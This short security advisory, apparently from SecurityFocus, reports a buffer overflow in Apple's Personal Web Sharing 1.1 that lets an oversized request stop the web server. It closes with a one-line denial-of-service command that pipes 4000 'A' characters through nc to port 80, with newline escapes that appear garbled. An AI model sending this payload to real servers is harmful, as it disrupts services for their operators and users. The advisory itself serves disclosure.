source: http://www.securityfocus.com/bid/84/info

There appears to be a buffer overflow in Apple's Personal Web Sharing 1.1. If you connect to its TCP port number 80 and send it a string over three thousand bytes long followed by two return characters Personal Web Sharing
will stop servicing request.

$ echo `perl -e 'print "A"x4000 . "nn"'` | nc target.host.com 80